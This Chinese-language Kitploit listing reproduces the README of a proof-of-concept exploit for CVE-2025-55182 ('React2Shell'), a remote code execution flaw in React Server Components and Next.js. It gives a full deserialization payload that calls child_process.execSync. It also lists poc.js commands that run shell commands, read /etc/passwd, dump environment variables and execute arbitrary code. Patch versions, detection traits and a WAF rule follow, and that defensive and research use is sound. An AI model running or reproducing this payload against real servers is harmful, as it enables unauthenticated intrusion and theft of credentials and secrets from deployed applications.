Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-55182 — 概念验证漏洞利用脚本,用于CVE-2025-55182(React2Shell),演示在React服务器组件中通过Flight协议反序列化实现未经认证的远程代码执行。包含易受攻击的服务器设置和检测脚本。 | Kitploit
工具/GitHubGitHub/greenheadhq/cve-2025-55182
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubgreenheadhq/cve-2025-55182

CVE-2025-55182

概念验证漏洞利用脚本,用于CVE-2025-55182(React2Shell),演示在React服务器组件中通过Flight协议反序列化实现未经认证的远程代码执行。包含易受攻击的服务器设置和检测脚本。

查看仓库
1139个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-55182 (React2Shell) PoC 环境

警告:本项目仅可用于安全研究和教育目的。 未经许可在他人系统上使用属于违法行为。

漏洞概述

项目内容
CVE IDCVE-2025-55182
别名React2Shell
CVSS 分数10.0 (Critical - 最高严重等级)
漏洞类型未认证远程代码执行 (RCE)
发现者Lachlan Davidson
公开日期2025年12月3日

受影响版本

React 包

  • react-server-dom-webpack: 19.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0, 19.1.0, 19.1.1, 19.2.0

Next.js

  • 15.0.4, 15.1.8, 15.2.5, 15.3.5, 15.4.7, 15.5.6, 16.0.6

项目结构

root@kitploit:~
CVE-2025-55182/
├── README.md                    # 本文件
├── vulnerable-server/           # 存在漏洞的 Next.js 服务器
│   ├── package.json
│   ├── next.config.js
│   ├── tsconfig.json
│   └── app/
│       ├── layout.tsx
│       ├── page.tsx
│       └── actions.ts           # Server Action
├── exploit/                     # 攻击 PoC
│   ├── package.json
│   ├── poc.js                   # RCE 攻击脚本
│   └── check-vulnerability.js   # 漏洞检查脚本
└── React2Shell-CVE-2025-55182-original-poc/  # 原始 PoC 参考

快速开始

1. 设置并运行存在漏洞的服务器

root@kitploit:~
# 安装依赖
cd vulnerable-server
npm install

# 以开发模式运行服务器(端口 3000)
npm run dev

服务器将在 http://localhost:3000 上运行。

2. 运行攻击 PoC

在新终端中:

root@kitploit:~
# 安装依赖
cd exploit
npm install

# 检查漏洞
npm run check

# 运行 PoC(测试模式)
npm run exploit

攻击 PoC 使用方法

基本测试 (console.log)

root@kitploit:~
node poc.js -m test

运行计算器 (RCE 证明惯例)

root@kitploit:~
# macOS
node poc.js -m calc

# Linux
node poc.js -m calc -c linux

# Windows
node poc.js -m calc -c windows

执行系统命令 (RCE)

root@kitploit:~
# 执行 id 命令
node poc.js -t http://localhost:3000 -m rce -c "id"

# 读取文件
node poc.js -t http://localhost:3000 -m rce -c "cat /etc/passwd"

# 系统信息
node poc.js -t http://localhost:3000 -m rce -c "uname -a"

窃取环境变量

root@kitploit:~
node poc.js -t http://localhost:3000 -m env

执行自定义代码

root@kitploit:~
node poc.js -m custom -c "require('fs').readFileSync('/etc/passwd').toString()"

技术分析

漏洞根本原因

React Server Components 的 Flight 协议在处理客户端发送的数据时,反序列化过程存在缺陷。

root@kitploit:~
requireModule 函数信任客户端发送的属性名称,未加验证
→ 执行 moduleExports[metadata[NAME]] 时未进行 hasOwnProperty 检查
→ 可操纵原型链(服务端原型污染)
→ 获取 Function 构造函数 → RCE

攻击链

  1. 触发 $@x 反序列化 - 获取 Chunk 对象引用
  2. 滥用 Promise 链式调用 - 注入带有 .then 方法的 thenable 对象
  3. 用伪造的 Chunk 对象重新进入解析器 - 设置 status: resolved_model
  4. 构造 gadget 链 - 利用 _response、_formData 等
  5. 获取 Function 构造函数 - $1:constructor:constructor
  6. 执行任意代码 - 运行 new Function(恶意代码)

Payload 结构

root@kitploit:~
{
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': 'process.mainModule.require("child_process").execSync("id")//',
        '_formData': {
            'get': '$3:constructor:constructor'
        },
        '_chunks': '$2:_response:_chunks'
    }
}

修补方法

升级 Next.js

root@kitploit:~
# 15.0.x 用户
npm install [email protected]

# 15.1.x 用户
npm install [email protected]

# 15.2.x 用户
npm install [email protected]

升级 React 包

root@kitploit:~
npm install [email protected]
npm install [email protected]
npm install [email protected]

检测方法

HTTP 请求特征

  • POST 请求
  • 存在 Next-Action 头
  • multipart/form-data 格式
  • 正文中包含 $@、resolved_model、constructor 等模式

WAF 规则示例

root@kitploit:~
# 检测可疑 Flight Payload
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
    "id:1001,phase:2,deny,status:403,\
    chain"
SecRule REQUEST_BODY "@rx constructor.*constructor" \
    "t:lowercase"

参考资料

  • React 官方博客
  • 原始 PoC (Lachlan Davidson)
  • Datadog 安全实验室分析
  • Wiz 分析

许可证

本项目仅供教育和研究目的。 禁止用于恶意目的。


注意:如果在实际环境中发现此漏洞,请立即修补。 若确认遭到攻击,请向安全团队报告并执行入侵调查。

下载工具